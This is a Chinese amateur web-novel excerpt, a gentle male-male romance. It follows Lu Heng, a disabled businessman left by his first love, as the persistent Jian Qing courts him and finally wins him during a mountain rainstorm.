《主攻随笔》
1. 简介
路珩三岁那年,因为保姆不称职,腿受了重伤。自此,他的膝盖留下了无法愈合的隐疾。
二十岁那年,初恋从二楼而跃,路珩为了救人,膝盖彻底被毁。
手术后,初恋哭得极为伤心,说:“路珩,我会对你负责的,一辈子。”
路珩语气温柔,“我相信你。”
二十四岁,初恋眼神已经没有了爱,他知道,他们两人缘分已经到了。
“路珩,没有一个人愿意为另一个人负担一辈子,而我才二十四岁,我还年轻。”
路珩依旧语气温柔,“好。”
路珩这个人呐,体贴温柔,就像冬日里的暖阳,没有人不喜欢他。
可,也没有人会因为喜欢他,而负担起他的一辈子。
路珩坦然接受。
好在上天是公平的,是会眷顾每一个苦难的人儿。
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简清来到了他的身边。
清晨,暖阳透过窗户,洒落在床上。
路珩睡得正迷糊,身边传来丝丝凉意,随后便是一句再不平常不过的问候。
“我的路先生,早啊。”
可他的心却熨烫了起来。
——那是他的爱人,简清。
虚构|2024年8月20日
路珩X简清
左右有意义。
2. 第 2 章
路珩垂眸看着蹲在自己面前的男人,有些怔然。那白到不太健康的手指不自觉地握紧了扶手,身体下意识的想要后退。
可,转动轮椅的手,却措不及防被对方握住。
炙热的温度传来,路珩心尖一颤,异样四散开。他唇角的笑容淡了些,可说话的语气却依旧温柔无比。
仿若山间清泉,沁入心脾。
起码,是简清此刻的感觉。
“简先生,我目前并不太想考虑感情的问题,您能先起来吗?”
对于这个结果,简清是有所预料的。
可即使被拒绝,简清也难以放手,甚至于丝毫没有嫉恨对方,因为路珩的太过于温柔了。
“还在叫我简先生?说起来还真令人伤心,明明我们都认识一个月了,怎么还‘您’的‘您’的呢?”
简清打趣着,试图打破略显凝固的气氛。
路珩没有回应,有些逃避似的错开了视线。他看着被精心布置过的桌子,上面摆放着简清为他准备的烛光晚餐。
应该算是烛光晚餐吧。
路珩无端地想着。
暖色的烛光跳动着,另一侧摆放的不仅有玫瑰花还有已经醒好的酒,刀刀叉叉整齐的放在一边,任谁看了,都会想象它是一个美好的烛光晚餐。
“简清,我有些累了。”
路珩垂眸,简清的问题,他是一个都没有回答。
好像除了拒绝,他现在也做不了什么了。
“好,我送你回去。”
简清起身,自然而然的走到路珩身后,手放在了轮椅上。但却没有下一步动作,直到路珩开口后,他才动了。
“麻烦你了。”
“不客气。”
轮椅碾过小路,在这寂静的夜晚里,仿若一块小石子投入了路珩的心尖,泛起丝丝涟漪。
路珩思维发散,他想,如果他还是健康的就好了,……可偏偏,他是残疾人。
一个无法治愈,无法站立的残疾人。
其实,也说不上难受,只是清醒了很多……玫瑰花太艳丽,灯光也很暖有点不真实了。
忽而的一阵风吹过,撩起路珩额前的碎发,明亮的眸色里盛满了暖色,灯光笼罩着他,如诗似画。
轮椅停了下来,路珩还没有搞清楚状况,腿上便多了块毯子,隔绝了肃肃冷风。
“起风了,有点冷。”
简清的声音,像是他那张冷艳的脸一样,清冷十足……但,路珩感受到了关心。
“谢谢。”
依旧温润,却满是疏离。
路珩在刻意拉开他们之间的距离。
今晚,他还是吓到了对方。
简清弯唇,并没有多说什么,他摇了摇头道:“不用客气。”
路珩看着简清,他知道对方已经知道他刻意的疏离。都是聪明人,有些话不能说太过难看。
简清错开视线,起身,再次回到了路珩身后。他静默地推了起来,视线落在了路上。
小路上,尽是枯叶。昨日的一场大雨,树杈上的枯叶几乎都要落尽。不太明亮的灯光下,小路看不到尽头。
有瞬间的恍惚。
他可以陪伴着路珩走到世界的尽头。
生命的终点。
可,也只是恍惚罢了。
小路是有尽头的,简清刚出大门,路珩的助理便匆匆走来,在路珩开口下,他的连继续推对方的权利都没有。
“今天谢谢简先生的款待,下次有时间再聚。”
“下一次是什么时候呢?”
很明显的一句场面话,礼貌语,双方都明白。可简清偏偏像是不懂似的,当了真。
路珩没有说话,简清就那么站着,到最后即将蹲下的时候,路珩妥协般开了口,“你定。”
简清闻声,璀璨一笑。
清冷的眸子盛满笑意,过多了,都溢了出来,最后都跑到了他心之所向那里,惹得路珩软了态度,回了一个笑容。
“那路先生下次再见。”
“简先生再见。”
一直没有存在感的助理赵不愠,和简清对视上,朝简清点头示意后,推着人往车子那边走去。
简清站在原地,看着那个温润如玉的人,靠着自己,撑着双臂坐上了车。动作行云流水,是十分熟练后的结果。
没有看不起,只有心疼。
多想抱着对方上车……
但,他知道以目前来看,这种行为比表白还要僭越。
路珩坐好后,不期然地看向简清那边。撑臂上车都没能乱气息,反倒是和那双带着心疼的眼神对视上乱了。
这种眼神,见多了,反倒成了心病。
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路珩疏离勾唇一笑,收回了视线。
他难道真的很惹人心疼……同情吗?
路珩没有说话,背靠着座椅,微阖双眸。
车子启动,缓慢的行驶着。
一个小时后,车子驶入私人别墅。
下车依旧是靠路珩自己来的,坐到轮椅上,他气都不喘,对下车的助理小张吩咐着明天的事宜,“明早八点半来接我,地点约在楼下咖啡馆就好。”
“路总,合作对方明天派来的是柳絮轩,需不需要通知对方换了一个人来?”
柳絮轩,他老板的前男友,也是导致老板彻底不能站起来的人。
一个狼心狗肺的人。
太久没有听到这个名字了,倒是已经淡忘了那段不好的记忆。
路珩顿了顿,声音依旧温润,并无多大感情起伏,“不用,照常就好。”
“好。”
“嗯,早点回去休息吧。”
“老板,你也是。”
路珩颔首示意,转动着轮子往别墅走去。没走几步,管家就匆匆跑了出来,自然而然地接过了轮椅。
“少爷不是说今晚不回来吃了吗?”
“出了点状况。”
还没吃,先被表白了一通。
表白后,那就更不适合了。
“那少爷还有没有想吃的?我去吩咐厨房给你做。”
也确实有点饿了,“白粥吧。”
“好的。”
管家推着路珩,进到大厅后,自然而然地松开了手。等到路珩吩咐好,便去了厨房。
自从腿彻底废了之后,路珩也搬离了路家老宅。将这处房产翻修之后,作为了他和柳絮轩的家。
只不过后来,变成他一个人的家。
路珩十分顺利回了房间,拿好睡衣后,进了浴室。动作间十分有序,丝毫不见慌乱,全程自给自足。
而这,都是一次又一次试出来的。
其实,家具被翻修后,他曾一度不适应。后来次数多了,磕碰多了,他慢慢也就熟悉了。现在,他能够自己洗澡,自己上下床,那些日常很简单落到残疾人身上却不简单的事,不再成为了日常生活的困难。
虽然时常被磕被碰到吧。
不过,不比连上厕所都依靠他人那段时间强多了吗?
路珩已经很满足了。
3. 第 3 章
“路哥,谢谢你啊。”
柳絮轩没有想到这次合同进行的会那么顺利,近些天的惶恐与不安,像是一场笑话,又像是一根刺,狠狠地刺在柳絮轩的心头。
他像是一个小人一样揣测着对方,害怕对方因为他的抛弃而动手脚……同样,他也意识到了,路珩是真的不恨他了。
那些浓情蜜意,全都因为他的放手,而彻底消逝。
连恨都不再有了。
“客气了,还是贵公司优秀。”,路珩不着痕迹拉开距离,和对方公司的老板说道。
没办法起身,对于已经起身的合作方,路珩就只能迁就着仰起头笑着。
而对方像是毫无察觉一样,脸上的笑容兜也兜不住,嗯……除了柳絮轩吧。
对方还是一如既往,一遇到不顺就喜欢皱脸。
至于为什么不顺,路珩并无探究的心思。毕竟,现在这不在他的考虑范围内。
“贵公司同样卓越啊。”,男人哈哈大笑着,“期待我们可以共创辉煌。”
路珩面带礼貌,伸出手,“期待。”
男人见合同已是板上钉钉,再次和路珩寒暄了几句,便提出了辞别。跟在身后走了没几步的柳絮轩,不知哪根筋出错了,和身边的老总说了几句后,便又匆匆返了回去。
跑慢了一步的路珩:……
“路哥,你还在怪我吗?”
坐在面前的柳絮轩,耷拉着眉眼,他天生的一双狗狗眼,委屈的时候,整个人的眉眼都耷拉下来,像是在诉说着什么一样,很是惹人心软。
路珩最受不了这样的。
柳絮轩也知道。
“柳先生多虑了,感情的事讲求个你情我愿。”,路珩像是为了彻底打发柳絮轩一样,将自己心里的想法说出,“而且,我不觉得喜欢一个人就要负担起另一个人的一辈子。”
“你真的这样想的吗?”
柳絮轩有些怔然,心里繁杂不堪。他因为路珩为了救他成为残疾人而不断的折磨着自己,午夜总是梦回那个下午……去徒劳的做出些不一样的选择,期盼着路珩没有残疾。
不断内耗,不断消磨,亲手将他与他之间所有的情谊消磨殆尽,为其画上句号。
明明,现在看到他,他应该轻松,应该庆幸的。
明明应该知趣地彻底消失在对方的世界里。
可,为什么,现在他会感到难受呢。
就像是,他努力握紧的沙子,顺着手间缝隙,不断流逝。明知,却无能为力。
“是这样想的。”
当时的柳絮轩不出二十五,确实是风华正茂,手握无限可能的年纪。
没必要因为责任,因为愧疚,而去将一辈子都赔给他。
“不,路哥”
柳絮轩想要反驳,却不知如何开口。
“絮轩,没必要困于过去,你选择离开,不是为了不继续愧疚,继续内耗,不是吗?”
柳絮轩喉咙像是被塞了一团棉花,拼尽全力,却怎么也说不出话。
他无从反驳,因为那是事实。
和路珩在一起的每一天,他都在自责。
可……和他分开的每一天,他都在空虚。
心像是被钻了十几二十几个洞,直嗖嗖的穿潇而过,吹得他像是大洋里的纸船,转啊转啊,找不到到底是哪里受了伤,少了点。
柳絮轩难过的看着路珩,企图再博取点对方的心软,用以证明对方还是爱着他。
路珩并未开口,柳絮轩太好懂了,更何况,柳絮轩是他曾经捧在手心的人。他知道,对方有多么的不成熟。也知道对方是多么希望被爱着,被独一无二的偏爱着。
曾经的他愿意,现如今的他不愿意了。
当一朵娇艳的花不再是属于他的时候,他也不再愿意费尽心思去灌溉。
这是他作为人的私心,他并没有外界所说那样——翩若人间君子,温润又尔雅。
“柳先生,你听到了你想听的又能怎么样呢?”
嘴角的弧度消失,路珩静静的看着柳絮轩。那副失落的样子,不再让他心软后。竟生出异样的反感。
好聚好散不是挺好的。
体面。
藕断丝连到最后,大抵还是一如那段时间——沉默的争吵。
那样,太难看了。
无论对他,还是自己。
初恋不应该声嘶力竭到最后。
“路珩,没用了是吧?”
装可怜 博心软,不再有用了。
也是,该醒了。
毕竟先放弃的是他。
“路珩,说过一次了,就不说再见了。还是一别两宽,各生欢喜吧
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。”
柳絮轩胡乱的抹了抹脸,扬起一抹难看至极的笑容,眼眶里的泪水打转着。
奇怪,泪水间,他竟然看到了十七八的路珩。阳光明媚,花朵娇艳,一身天蓝色校服的青年,正扬起书朝他笑着。斑驳树影下,阵阵清风徐来,空气里满是春天的清香。
光,太耀眼了。
一眨一睁,少年郎消失。
面前坐在轮椅上的男子,青涩退去,一身得体西装,许是会客缘故,头发被妥帖的收拾在后,棱角分明面容,不再见有少年郎的傲气。
柳絮轩不合时宜的想起了。
曲终人散,瓦解星散。
“好。”
依旧是温温柔柔的话,与柳絮轩崩溃大哭,断断续续说分手那次一模一样。
柳絮轩这才意识到,他最喜欢的温柔,大多时候,也是十分伤人。
路珩的温柔不像是利刃,锋利到快进快出,他都来不不及感受,便只剩下的苦痛。
像是一把生锈了刀,慢慢划过,一点点的,击溃着他的防线……直到最后拔出,他也分不清到底是痛苦的过程更为煎熬,还是那随后无尽的孤独更加难以承受。
“你永远都是这么温柔,我有时候还挺恨你的温柔。”
柳絮轩起身,没有再犹豫,转身离开。
缘来缘去缘如水,
情散情去情何归。
路珩,我爱你。
可,我也害怕负担起你的一辈子。
前方的路,无限延展,延展到了十七八的少年身边。柳絮轩站在门檐下,阳光恰好落在脚尖处,时空交叠,他呐喊着告诉十七岁的他,别去惊扰那个绝艳的人儿。
“咚——”
物体落地声惊醒柳絮轩,他垂眸,一个小男孩无错地站在他的身边,脚下是一摊水渍。
“叔叔,你哭了吗?”
小男孩仰头看着,“是和我一样不小心弄掉了最爱的东西吗?”
小男孩低着头,看着地上洒了一地的果茶。
“我是弄丢了。”
“那也不要哭鼻子呀,可以再买呢。”
“买不到了……”
路珩怎么能买得到呢?
是他亲手丢了对方啊。
柳絮轩掏出口袋里仅有的零钱,放在小男孩手里后离开。
4. 第 4 章
和建材供应商的合同进展的很顺利,公司新的业务渐趋减少,目前将所有精力放在了目前这个项目上——旅游区的开发。
开发点在邻市的一个乡下,当地有名的是满山遍野的果树,以及手工制品。如果做的好的话,这个乡的特色将会被发挥到极致,而他们的公司也将更上一层楼。
办公室里,路珩扯了扯自己的领带,拿起一边的杯子轻抿了几口,润了润干燥的唇。
“哐哐哐——”,敲门声响起。
“进。”,路珩放下杯子,朝门口看去,“赵助理?”
“老板,建筑材料相关的东西,都已经送到了邻市,预计明天工人全部到达,后天正式开工。”
“路闲那边怎么说?”
他父亲看好路闲,而路闲又和他不对付,上次的合同进行一半,最后是生生被对方抢了过去,虽然最后便宜还是落到了他的头上,但是……依照路闲的性子,总归是不安生的。
“路总那边没有消息。据小道消息说最近正在追一个娱乐圈的明星。”,小赵顿了顿,后又补充道:“男明星。”
路珩讶然,当初他出柜,可是被执行家法框框揍了一顿。他记得貌似那个娇气弟弟在旁边看着呢,怎么现在这是不怕疼了吗?
路珩想了瞬,没想明白,不过这也就意味着,他那便宜弟弟没时间来霍霍他了。
“先不管他,按照计划进行,周日我们去视察。”
“是。”,说话间,赵不愠的视线落在路珩发干的唇,下意识看向一边的杯子。果不其然,几乎没有动。
好像自路珩腿受伤后,对方进水进食越来越少。
他知道,路珩是在减少可控的麻烦。平常再怎么简单不过的行为,落在路珩的身上,都十分的艰难。
他内心叹了一口气,上前一步给路珩换了杯水。
还记得第一次见到路珩的场景,二十多岁的少年。虽言谈温柔,但眉目间的傲气是最惹人瞩目。而今三十多岁的路珩,只剩下了温柔。
岁月灾难仿佛磨平了他的棱角。
水放在了桌上,“老板,还是多注意喝水,身体为重。”
“谢谢。”,路珩弯唇勾起一抹弧度,“等下不用加班了,去财务那里领个奖金回家吧,过生日就得多陪陪女朋友。”
路珩拿起水喝了一口,而后放在了手边。
水温正合适,缓解了不少疲惫。
“谢谢老板,但是你……”
“不用担心,有人来接我。”
自从那次晚餐后,简清时不时发过来一些关于他的动态日常,昨晚还在询问今天能不能抽空。只不过是真的太忙了,后天还要去邻市,短期内工作是不会空闲。
最后,在他一通解释后,就被约今晚。
“是简先生?”
简清好像是在追他老板,可是昨晚看两人样子,如果他没猜错应该是被拒绝了啊?
毕竟近些年来,老板也不缺人追。其中也不乏活力四射锲而不舍的人,不过在告白被拒后,大都放弃了他们老板,到最后没有任何联系。
“是他。”
“老板,有时候有个伴也挺好的。”
闻言,路珩笑得很温柔,双手自然而然放在了腿上,语气轻松,“你这是有伴了,着急起来我了?”
赵不愠摇头,只是想着这么好的一个人,不该孤寂一生。
“我知道你的意思。”,路珩眼里的笑意淡去,侧头,视线落在了窗外。
落日而下,橘黄色的夕阳透过落地窗,散落在办公室里,形成的一条宽宽的光路。
而光路的前方,是路珩。
他和光距离很远。
那种距离,是伸出手也触碰不到的。
赵不愠瞧着,有片刻恍惚,总觉得路珩和光之间,仿若隔着一条天堑。
而光路尽头的路珩,虽温和却令人感动孤寂,不真实。
在光与暗、虚与实的交替里,赵不愠听见独属于路珩那种温文儒雅的声音。
“没有人因为喜欢我,就要去负担我的一辈子。”
“这样的喜欢会很累。”
“感情消磨到最后,只会徒增悲伤。”
路珩看得很通透,他和柳絮轩三年的感情,最终在三年多的病痛下消磨殆尽。他没有精力再去培养一份经得起考验的感情了。
不误己也不误人,多好。
“感情这事说不准。”
赵不愠并不知道,自己的话能一语成谶。未来的某天,他们迎来了老板娘。
是被路珩亲自承认那
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种。
“赵助理,下班时间到了。”
挂在一边的钟表,时针已经指向六。
显然,对话只能结束于此。
“那老板我先走一步。”
路珩点头,不忘嘱托,“记得去领奖金。”
“好的,老板。”
赵不愠转身离开,走之前不忘把门带上。
考虑到女朋友买买买的习惯,他先是去财务部领了奖金。
路珩平日里待人宽和,几乎只要工作努力,他都看在眼里,并给予一定的情感反馈,以及金钱反馈,是打工人梦寐以求的老板。
他虽然没有比路珩大多少,但,是在路珩上大学后跟着对方的。这些年来,是看着公司和路珩一步步成长至此的,他时常庆幸自己跟对了人。
赵不愠领了钱后,公司里的人几乎已经走完。他和财务部主管打了招呼后,回工位拿了文件,才离开公司往停车场走去。
公司这个项目,他得再次确认一番,以保万无一失。而且周日路珩要去视察,邻市的环境状况,天气状况等都得了事先解。
路珩的膝盖虽说稳定不少,但一遇阴雨天就会突发剧痛,他得提前避开,视察随时都可以,身体最重。
赵不愠在脑海里过滤着工作重点。
“赵助理。”
赵不愠抬头应声看去,是简清了。
对方一身白色正装,洁白的衬衫和笔挺的西装裤,映衬出挺拔的身姿。此刻,他手里正抱着玫瑰花,看起来像是要去求婚一般。
赵不愠哑然,话到嘴里不知如何该说。
其实他老板对玫瑰花的态度一般,或许说,对除了小苍兰以外,他对所有花的态度都一般。
“简先生好。”
“赵助理是下班呢?”
“是啊。”
“那赵助理再见,阿珩还在等着我。”
简清打了招呼,抱着花离去。
赵不愠看着简清的背影,就对方打扮来看,足以见到对方的心思。蓦然的,他想起办公室里的路珩,于是朝简清说了句话。
“老板更喜欢小苍兰。”
简清脚步一顿转身,弯唇一笑。
昏暗的地下室里,灯光明灭,道谢的声音响起,“谢谢赵助理。”
5. 第 5 章
深秋的夜晚,冷风呼呼而过,卷起落地的枯叶,飘飘荡荡,似舞动的银蝶,在路灯下翩翩起舞。
两人吃过晚饭,简清推着路珩,走在寂静无声的路上。
“路珩,你冷不冷啊?”
又一阵冷风起,简清缩了缩脖子。他有些不明白,为什么路珩不愿意让车子进庄园,而是要自行下山。
“是冷了吗?”
路珩慢了半拍,说着就准备拿出手机,“我联系司机,让他……”
话没说完,就被简清打断了,“不用,我是怕你冷。”
闻言,路珩不自觉的握了握腿上的毯子,这是简清给他准备的,很暖,冷风几乎渗不进来。
但,简清似乎很冷。路珩弯唇,有些时候简清还是挺嘴硬的,“我不冷,你真的不需要我打个电话吗?”
“那就好。”
简清应道,心里拔凉拔凉的。
啧,只考虑好看了,倒是忘记考虑保暖。
路珩乐了一会,拿出手机给司机发了消息。总不能让简清一直冻着,这里距离山门口还有一段距离,冻坏人就不好了。
在后面的简清看得一清二楚,拔凉拔凉的心仿佛二月春风而过,回暖了。
“路珩,你担心我?”
还是十分的直球,路珩被打个措手不及。
路珩想,还是有点不适应。
“万一冻坏简二少爷,那就是我的错了。”
简清,富N代,身份可算的上是极为矜贵。也不知怎么了,就因为一方手帕,就看上了他。
“担心就担心嘛,我又不会逼着你答应我表白。”,简清轻哼一声,典型的只想听自己想听的话,“你就遮掩吧。”
“是是是,你说的全对。”,路珩调侃道。
此话一出,两人皆是一愣。
路珩没想到,自己会和简清相处到如此轻松自在,明明不足三个月。
而简清则是没想到,路珩能够放下自己的伪装,让他触摸到真实的他。
虽然仅仅只是一瞬的事。
“路珩,我喜欢你。”
第二次。
第二次表白了。
简清觉得自己高考都没有这么紧张过。
他向来顺风顺水惯了,想得到的都得到了,不想得到的,他伸伸手也能碰到。
只有路珩。
给他一种感觉。
他抓不住,永远都不可能将其困于身旁,塞进牢笼。
因为——路珩是风。
冬日里的暖风,夏日里的凉风,适宜却稀缺,而又妄想。
“简清,朋友更适合我们的关系。”
路珩抿唇,嘴角的笑意淡了下来,眼神闪烁着,在昏暗的灯光下,那是一片胜似极光的灿烂美好。
“路珩,不试试怎么知道呢?”
怎么知道,我不会握着你的手走一辈子?
路珩听懂了,习惯性的微笑,声音清冽了许多,“喜欢不能,爱能。”
在简清的注视下,路珩一字一句将后半部分,心里那些妄想,大概是妄想吧,全都说了出来。
“而你对我,只是喜欢。”
“目前来看,没有爱。”
看得通透的从来都不是简清一个人,路珩也看得很清楚,心里更丈量的很清楚。
他有一把尺。
约束的是残疾了的他。
“你怎么知道我不爱你,路珩,我爱你呢。”
世间最美的言语,最美的声音,不过现在,心脏漏了一拍是真的,不想答应更是真的。
路珩脸上的笑容愈发灿烂,眼底却清明一片,他并不是真的开心。
简清想。
下一秒,他听到了路珩平淡如水的声音。
“爱,是克制。”
宣之于口,在路珩看来太过炙热了,他会无所适从。自我防御机制作祟,路珩并不想要。
“路珩,可能你并不知道,我已经很克制了。”,简清想做的并不单单只有站在他身后为他推轮椅,更想抱着对方。
做对方的双腿。
“简清,我累了。”
逃避没有用。
但,简清不会逼路珩的。
“好,我送你回家。”
他总是这样子,试探着自己的底线,无声无息的,仿佛只要他稍稍不加设防,那到防线就会自动撤开,让对方径直进入。
无法预料,完全未知。
路珩不喜欢。
“谢谢简先生。”
简清不禁叹了一口气,声音里满是失落。坐在前面的路珩并不能看到简清,只是想象里,对方此刻应该会耷拉着眉眼,嘴角下垂,眼神也会闪烁着无奈。
“连简清都
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不想叫呢。”
路珩并没有回应。
此刻的简清,是有些小幼稚的。
或许说,是他面前的简清。
他曾有幸见过工作时的简清,一身黑色西装,金丝眼镜框,下垂的鎏金链子,一举一动之间,成熟男性魅力十足。
或许,他是特别的。
一想到这,路珩心尖颤了颤,而后就是止不住的设想,再设想。
倘若松了口,他又会怎么样?
路珩眼神虚虚地看着前方,思绪飘散,由现在想到了过去,再由过去飘到的当下。
当双手自然而然放到简清的脖子上时,路珩后知后觉才发现,他整个人被抱了起来,然后被小心翼翼放到了车上。
路珩身体僵着,毫无反应。飘散的思绪回归,一种难言之感弥漫在心头,致使路珩连最基本的社交礼仪都维持不住了。
他平淡地坐在后座上,等着简清上车,然后注视着他坐到了驾驶座上。
“简少爷这是要当我的司机。”
路珩不是不会讽刺人,只不过日常礼貌惯了,并且他已经修身养性很久了,致使性格本就温润的他更是温和,极少会这么明里暗里讽刺一个人。
包括,他那个便宜弟弟。
而今,简清成功让他放下了多年来的教养。
“副驾不安全。”
简清系好安全带,声音不见一丝生气,语气依旧如常,像是没有觉察到路珩话里的意思般。
“简先生是觉得路某残了双腿就没有自保能力了?即便是真没了,是死是伤也都是路某的命。”
简清听着路珩一顿输出,启动了车子,答非所问道,“你身边的盒子,是我给你准备的礼物。”
怕气极了的路珩不收,简清不紧不慢补充道:“刚好你当初递给我了一块帕子,现在我还个礼,不过分吧?”
这话,落在路珩的耳里,瞬间被理清了利害关系。他们两个人起于帕子,回礼后,人情也就不在了。
下一次,拒绝方便多了。
“谢谢,破费了。”
简清笑了笑,当然知道路珩误会了什么。不过礼物收下就行。
而其他的,再说吧。
车子平稳的行驶着,路珩情绪渐渐恢复了平静。话题截止到礼物后,简清就没有再搭话,恰到好处的空间,让路珩十分舒适。
6. 第 6 章
暴雨倾盆而下,前一秒还是艳阳高照的天空,此刻被成团成团的乌云包裹着,天地间昏昏沉沉的。
半山腰处,工地里的工人被迫停止了工作,迅速收拾着工具跑向临时搭建的大棚。突如其来的暴雨阻断了他们的施工,刚搭建的大棚顶上,发出滴滴答答的雨滴声。
本以为这个时节,暴雨很少见了,然而,这一次的暴雨持续降落。原本还没有修建好的疏水设备禁不住大量的雨水,半山上因为已经施过工的山体摇摇欲坠,还没有躺多久的工人再次被叫了起来,准备干活人动疏通。
大雨里,他们一个个穿着雨衣,在工地里来回跑着,确保着工地的安全能够得到保障。
而距离他们的不远处,路珩面色满是沉重,雨势渐大,并没有停歇的迹象,“这雨感觉还要下一会,吩咐负责人疏散工人。”
赵不愠举着伞,拿出手机拨通了工地负责人的电话,几句话吩咐完后,对路珩说,“是我工作失误。”
“突发暴雨,并不是你能控制的。”
路珩出门前是看过天气预报的,今天天气预报并没有大暴雨。大概是局部气候多变不易勘测吧。
赵不愠道谢后,两人便没有在说什么,隔着雨幕,看着工人纷纷撤离。
“叮——”
赵不愠查看手机,是总负责人发来的消息,他一目三行后,对路珩说道:“路总,人数已经到齐。”
“知道,让他们坐车下山。”
赵不愠直接发了一条语音通知下去,然后收起手机,推着路珩往车子处走去。
愈来愈大的暴雨拍打着雨伞,发出嘭嘭嘭的响声。即使赵不愠已经刻意偏向路珩了,但还是不可避免地被雨淋湿。
山路并不好走,路珩又是坐轮椅。即便是路珩双手滚动轮子再加上赵不愠在后面推,走得也是艰难。
“赵助,你去开车,我自己来。”
这样的速度太慢了,有时候灾难的发生就是一瞬间,谁也不知道死神会不会降临。
……
“不行!”
总负责人开口制止想要往上闯的男人,现在上面已经不安全了,他清楚知道,对于暴雨防范的措施他们做的并不够完备,毕竟,冬天即将到来,雨肯定少,而俭省下来的钱又是一笔。
简清并没有理大喊的人,他关上车窗,启动车子往上行驶。在都是往下保命的一群里,他是如此的显眼。
“怎么办?”
负责人翻了个白眼,“我怎么知道怎么办,开车啊!等死吗?”
“是是是。”
车子启动,摇摇晃晃的下山。
暴雨势头迅猛,即使有雨刮器也不行,很快视线内模糊了又清晰,清晰了又模糊,周围除了大雨落下的声音,再无其他声音。
简清是要来邻市开绘画展,但不是今天,是在一周后。上次吃过饭后,路珩就跟失联了一般,他一天的信息,无论什么,只要到晚上,就会收到标标准准三条信息
——早上好
——中午好
——晚上好
无一例外,全都是这个。
蜗牛又缩回了壳子里。
简清无奈,联系了赵助理,打听了路珩的行程后,特意调了调自己绘画展的时间。原本打算来找路珩的,结果半路下起了暴雨。
恶劣的天气下,简清只能祈祷路珩已经早早离开,祈祷着路珩能够安然无恙。
车子驶过去,溅起一滩又一滩的泥水,简清的心情在这暴雨里越来越焦灼。而上天像是故意和他作对一般,车子在半路上熄了火。
简清尝试了数次终于认清了现实,车子坏在了半路。他拿出手机,此刻,山里已经没有了信号。他看了又看,将手机扔在了一边,下车准备自己修理。
他将雨衣一套,拉开车门走进了暴雨里。倾盆大雨拍打着简清。不一会,简清就察觉到身上传来的一阵阵湿意,暴雨渗进了衣服里。他抹了把脸上的雨水,奋力打开车子的发动机盖,捣鼓了一会,车子彻底报废。
简清可算是头一次体会到叫天天不应叫地地不灵,不过……
叫路珩。
却意外有了回应。
赵不愠的声音传来,简清转身,一辆车子停在了他的身后。赵不愠微微探出,喊着他的名字。而,透过玻璃,简清模糊间看到了后座的人。
像是百花尽枯后,你扭头却看到了一株藏努力挣扎而生的小草。意外之喜,足矣心生无限的怡悦。
“路先生,好巧。”
简清拉开车门,望着后座的男人。蒙蒙水汽里,路珩的脸藏匿在黑暗里,因为雨水,他的衣服紧紧贴在身上,标准身材一览无余。
带着异样的情欲。
简清知道,仁者见仁,是他动情了。
“好巧。”
声音闷闷的,路珩不知道如何形容自己现在的心情。
十八岁的时候,他曾心脏也如此跳动过。
青涩朦胧的爱情,张扬舞爪,无所畏惧?
什么也不怕,什么也不忧虑。
爱所爱之人。
博所期之梦。
“愣着干什么,进来。”
路珩闷声咳嗽着,话语低沉,带着独有的磁性,像是……像是生病后的嗓子。
“好。”
简清麻溜地爬了进去,紧挨着路珩坐了下来,“是生病了吗?”
简清伸手,却意外被路珩摁住。车子启动了,因为路面不平整,两人晃摇摇晃晃的。
简清眼含笑意,在路珩的注视下,无限靠近。而路珩却像是被定住一样,任由男人贴上了他的额头。
“还真生病了。”
简清感受着额头传递过来的温度,眉头一皱,刚想开口,却被意料之外的动作打断了。
小时候,简清曾有一段很喜欢一件衬衣,为了这件衬衣,他憋着一个星期没有吃零食,最终父母答应给他买了。
他清楚的记得,得到那件衬衣时的心情。
激动已经无法形容。
而现在,他再次得偿所愿。
相同的心情,但不同的决定。
那件衬衣,最后不知道在哪里落了灰。而路珩,他永远不会落灰,是他的珍宝。
独一无二的珍宝。
“简清,你是来找我的对吗?”
路珩清楚知道,先迈出一步的有多被动。正如商战里,只有沉着冷静,才有可能会是最后的赢家。
先一步,将所有底牌露出来的,势必一败涂地。
可,感情……大抵应该不适用吧。
“是,我是来找你的。”
简清毫不避讳,他知道,他成功闯进去了。
“为什么?”
“我要克制。”
爱,是克制。
这是路珩说的话。
路珩伸手覆上去,带着湿意的温度传递而来,路珩心跳愈来愈不受控,像是下一秒就能从心口跳出来。
但,他面上丝毫不显。
“简清,你爱上了我吗?”
爱上残缺不全的我了吗?
爱上自私自利的我了吗?
“路先生,我想我是的。”
简清曾一度幻想过路珩站起来的样子,肯定是意气风发,骄矜无比。
可,转念一想,坐在轮椅上,眼含笑意,在看任何人的时候都有一种温和包容之感的路珩,不也十分意气风发,不也十分骄矜?
那些隐藏在温柔之下,独属于路珩的,就是吸引他的所在。
他也想过,或许以后,他爱路珩。
并不再是因为这些。
爱,只因他是路珩。
“简清,有没有人说过你的嘴巴很甜。”
不要钱的话,一兜又一兜往外抖着。句句吹动着他的心,无处可避,不愿相避。
“现在有了。”,简清很懂的得寸进尺,比如现在,“路先生,我想问一下,你这是准备接受了我的告白吗?”
“我想,是的。”
话音未落,简清靠近,清清凉凉地一个吻印在了路珩的嘴唇上。
只是嘴唇对着嘴唇,并无其他。
却,如炸雷般,心脏怦然跳动。
“那么,现在……你就是我的路先生了,对吧?”
头抵着头,暧昧气息交缠着,“对,我的简先生。”
他愿意,为简清再试一试。
在迎接着新的一份爱意时,路珩很是聪明地做好了失去这份爱意的准备。
“那么路先生,现在可以让我帮你暖暖了吗?”
路珩的手很冰,像是寒冬腊月的双手,简清有些心疼握住了路珩的两只手。
一向介意别人关爱怜惜的路珩,此刻眉目含笑,乖顺地让简清替他暖手,甚至看着对方将自己的手放入了衣服里。
“体质问题,无妨的。”
路珩嘴上说着,却丝毫没有动作,明了地看出来了他的享受。
没有关系人的关爱怜惜,那是看不起。
而有关系的,比如爱人的怜惜关爱那是情趣。
“什么都说是体质,我还就不相信了,回去我就去学料理。”
简清说得十分坚决,打定主意要去学习中药调理。
“行,你开心就好。”
简清:……
“总觉得和你这样温柔的人谈了恋爱后,我能享受到极致的温柔与体贴。”
“怎么了?后悔了?这世界上可没有卖后悔药。”
路珩轻哼一声,后忍不住打了个喷嚏,简清顿时没有了和路珩胡闹的心思,拿起一边的毛毯就往路珩身上盖。
“有毛毯还不用,等着死后让人给你烧了?”
简清的嘴不是一般的毒,追路珩的时候,谦谦贵君子,那叫一个人模狗样。
细细算起来,还是路珩遭骗更大,毕竟简清可是对路珩性子了解大差不差,而路珩更是表里如一。简清就不太行了,完全不一个作风。
路珩也意识到了。
笑而不语。
“赵助理,下山后先去医院。”
路珩张了张嘴,想说不用,毕竟他这一身污泥去医院不太雅观。然而,还没有说出来,简清就先一步说道:
“放心不让你丢脸,到时候给你开VIP。”
路珩:倒也不必。
